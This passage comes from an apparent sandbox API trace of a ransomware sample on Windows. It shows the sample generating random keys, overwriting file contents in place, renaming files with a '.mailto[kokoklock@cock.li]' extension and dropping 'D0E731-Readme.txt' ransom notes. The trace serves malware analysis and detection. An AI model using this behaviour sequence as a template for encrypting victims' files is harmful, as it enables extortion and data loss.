lpNumberOfBytesRead=0x862fc24, lpOverlapped=0x0 | out: lpBuffer=0x862fc28*, lpNumberOfBytesRead=0x862fc24*=0x4, lpOverlapped=0x0) returned 1 [0061.878] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c88 [0061.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4df0 [0061.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47d8 [0061.879] NtQuerySystemTime (in: CurrentTime=0x862fc00 | out: CurrentTime=0x862fc00*=132121176197738369) returned 0x0 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x4c776eca [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xafba404b [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xd044e8a7 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xf08b1a48 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xe6a84621 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x7f2b5e4f [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x55f55112 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x39bb7693 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xdb94bc9d [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xe5d100a6 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x51137298 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xd3b87a60 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xe43e916f [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x72931626 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x16c4ec66 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xb2e7e686 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x21516a2f [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x1b60672b [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xc2996d3c [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x9e61d405 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xeb1bfcc [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xfa0f9925 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x2fbe6e42 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xf57c796a [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x3a7bb70b [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x2cfa1792 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x52132ee3 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x19d9a744 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xacb92e45 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0x440d5941 [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xaf5f45ad [0061.879] RtlRandom (in: Seed=0x862fc0c | out: Seed=0x862fc0c) returned 0xe02958c2 [0061.889] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0061.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.891] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.891] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c88) returned 1 [0061.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0061.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0061.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0061.891] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0061.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.891] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x3ee, lpNumberOfBytesRead=0x862fc00, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x862fc00*=0x3ee, lpOverlapped=0x0) returned 1 [0061.891] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x862fbc8 | out: lpNewFilePointer=0x0) returned 1 [0061.891] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x3ee, lpNumberOfBytesWritten=0x862fbfc, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x862fbfc*=0x3ee, lpOverlapped=0x0) returned 1 [0061.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b700 [0061.892] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0061.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0061.892] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b700*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x862fbf8, lpOverlapped=0x0 | out: lpBuffer=0x347b700*, lpNumberOfBytesWritten=0x862fbf8*=0x20, lpOverlapped=0x0) returned 1 [0061.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b700) returned 1 [0061.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0061.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.892] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x862fc24, lpOverlapped=0x0 | out: lpBuffer=0x347b340*, lpNumberOfBytesWritten=0x862fc24*=0x8, lpOverlapped=0x0) returned 1 [0061.892] WriteFile (in: hFile=0x5b4, lpBuffer=0x862fc3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x862fc24, lpOverlapped=0x0 | out: lpBuffer=0x862fc3c*, lpNumberOfBytesWritten=0x862fc24*=0x4, lpOverlapped=0x0) returned 1 [0061.892] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x862fc24, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x862fc24*=0x4, lpOverlapped=0x0) returned 1 [0061.892] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x862fc24, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x862fc24*=0x6c, lpOverlapped=0x0) returned 1 [0061.892] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4df0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x862fc24, lpOverlapped=0x0 | out: lpBuffer=0x33e4df0*, lpNumberOfBytesWritten=0x862fc24*=0x20, lpOverlapped=0x0) returned 1 [0061.892] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x862fc24, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x862fc24*=0x4, lpOverlapped=0x0) returned 1 [0061.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4df0) returned 1 [0061.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0061.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.892] CloseHandle (hObject=0x5b4) returned 1 [0061.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cd2f0 [0061.893] wcscpy (in: _Dest=0x33cd2f0, _Source="C:\\Recovery\\ReAgentOld.xml" | out: _Dest="C:\\Recovery\\ReAgentOld.xml") returned="C:\\Recovery\\ReAgentOld.xml" [0061.893] wcscat (in: _Dest=0x33cd2f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Recovery\\ReAgentOld.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Recovery\\ReAgentOld.xml.mailto[kokoklock@cock.li].d0e731" [0061.893] MoveFileW (lpExistingFileName="C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), lpNewFileName="C:\\Recovery\\ReAgentOld.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\recovery\\reagentold.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.894] SetFileAttributesW (lpFileName="C:\\Recovery\\ReAgentOld.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0061.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd2f0) returned 1 [0061.894] SetFileAttributesW (lpFileName="C:\\Recovery\\ReAgentOld.xml", dwFileAttributes=0x2020) returned 0 [0061.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fd280 [0061.894] wcscpy (in: _Dest=0x33fd280, _Source="C:\\Recovery\\" | out: _Dest="C:\\Recovery\\") returned="C:\\Recovery\\" [0061.894] wcscat (in: _Dest=0x33fd280, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Recovery\\D0E731-Readme.txt") returned="C:\\Recovery\\D0E731-Readme.txt" [0061.894] GetFileAttributesW (lpFileName="C:\\Recovery\\D0E731-Readme.txt" (normalized: "c:\\recovery\\d0e731-readme.txt")) returned 0xffffffff [0061.894] CreateFileW (lpFileName="C:\\Recovery\\D0E731-Readme.txt" (normalized: "c:\\recovery\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.895] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x862fc20, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x862fc20*=0x481, lpOverlapped=0x0) returned 1 [0061.896] CloseHandle (hObject=0x5b4) returned 1 [0061.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dfb18) returned 1 [0061.897] RtlExitUserThread (Status=0x1) Thread: id = 117 os_tid = 0x1044 [0061.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34339e8 [0061.899] wcscpy (in: _Dest=0x34339e8, _Source="C:\\Windows10Upgrade\\2052" | out: _Dest="C:\\Windows10Upgrade\\2052") returned="C:\\Windows10Upgrade\\2052" [0061.899] wcscat (in: _Dest=0x34339e8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\2052\\") returned="C:\\Windows10Upgrade\\2052\\" [0061.899] wcscat (in: _Dest=0x34339e8, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\2052\\*") returned="C:\\Windows10Upgrade\\2052\\*" [0061.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3452b88 [0061.899] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\2052\\*", lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea355be9, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433d68 [0061.900] wcscmp (_String1=".", _String2=".") returned 0 [0061.900] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea355be9, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.900] wcscmp (_String1="..", _String2=".") returned 1 [0061.900] wcscmp (_String1="..", _String2="..") returned 0 [0061.900] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea355be9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x1cec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWINTL20.DLL", cAlternateFileName="")) returned 1 [0061.900] wcscmp (_String1="DWINTL20.DLL", _String2=".") returned 1 [0061.900] wcscmp (_String1="DWINTL20.DLL", _String2="..") returned 1 [0061.900] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea355be9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x1cec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWINTL20.DLL", cAlternateFileName="")) returned 0 [0061.900] FindClose (in: hFindFile=0x3433d68 | out: hFindFile=0x3433d68) returned 1 [0061.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3452b88) returned 1 [0061.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339e8) returned 1 [0061.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e0718) returned 1 [0061.900] RtlExitUserThread (Status=0x0) Thread: id = 118 os_tid = 0x1048 [0061.901] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\bootsect.exe" (normalized: "c:\\windows10upgrade\\bootsect.exe")) returned 0x20 [0061.902] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\bootsect.exe", dwFileAttributes=0x20) returned 1 [0061.902] CreateFileW (lpFileName="C:\\Windows10Upgrade\\bootsect.exe" (normalized: "c:\\windows10upgrade\\bootsect.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.902] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x872ff0c | out: lpFileSize=0x872ff0c*=118472) returned 1 [0061.902] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x1cec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.902] ReadFile (in: hFile=0x5b4, lpBuffer=0x872fee0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x872fedc, lpOverlapped=0x0 | out: lpBuffer=0x872fee0*, lpNumberOfBytesRead=0x872fedc*=0x4, lpOverlapped=0x0) returned 1 [0061.904] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.904] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.904] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0061.904] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b700 [0061.904] NtQuerySystemTime (in: CurrentTime=0x872feb8 | out: CurrentTime=0x872feb8*=132121176198050937) returned 0x0 [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xd60ae3b4 [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xce1deb51 [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xfaf8d90c [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x60ab61b0 [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xa402f690 [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x230c20dc [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x9d99b487 [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x3e12aaf1 [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x5730224a [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x1997ea90 [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xf5391e20 [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xc5f2a1b5 [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x5e01e51f [0061.904] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x2cc4e0de [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xb5f44a27 [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x621b3a9 [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xa6b0e674 [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x7e9d0329 [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xb56d422f [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xb48f0d7a [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xccceb1ae [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x42b6a728 [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xc3cbe7ec [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xc639eb70 [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x5f66fc9c [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x79fec923 [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xdbb50933 [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x3ce065e [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x95fcee31 [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xf83644d7 [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0xc0151105 [0061.905] RtlRandom (in: Seed=0x872fec4 | out: Seed=0x872fec4) returned 0x8a733207 [0061.913] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0061.915] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.915] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c88 [0061.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.915] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.915] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.915] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x872fe78, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x872fe78*=0x4096, lpOverlapped=0x0) returned 1 [0061.916] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0061.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4df0 [0061.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4df0) returned 1 [0061.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.917] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4df0 [0061.917] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.917] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x872fe78, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x872fe78*=0x4096, lpOverlapped=0x0) returned 1 [0061.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.917] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10258, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.917] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x872fe78, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x872fe78*=0x4096, lpOverlapped=0x0) returned 1 [0061.918] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10258, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0061.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0061.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c948 [0061.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c948) returned 1 [0061.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0061.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.919] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x872fe78, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x872fe78*=0x4096, lpOverlapped=0x0) returned 1 [0061.919] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.919] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x18e32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.919] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x872fe78, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x872fe78*=0x4096, lpOverlapped=0x0) returned 1 [0061.919] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x18e32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e98 [0061.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd80 [0061.920] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd80) returned 1 [0061.920] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.920] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca38 [0061.920] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cab0 [0061.920] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cab0) returned 1 [0061.921] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e98) returned 1 [0061.921] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.921] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x872fe78, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x872fe78*=0x4096, lpOverlapped=0x0) returned 1 [0061.921] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.921] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4df0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x872fed4, lpOverlapped=0x0 | out: lpBuffer=0x33e4df0*, lpNumberOfBytesWritten=0x872fed4*=0x20, lpOverlapped=0x0) returned 1 [0061.921] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x872fed4, lpOverlapped=0x0 | out: lpBuffer=0x347b340*, lpNumberOfBytesWritten=0x872fed4*=0x20, lpOverlapped=0x0) returned 1 [0061.921] WriteFile (in: hFile=0x5b4, lpBuffer=0x347ca38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x872fed4, lpOverlapped=0x0 | out: 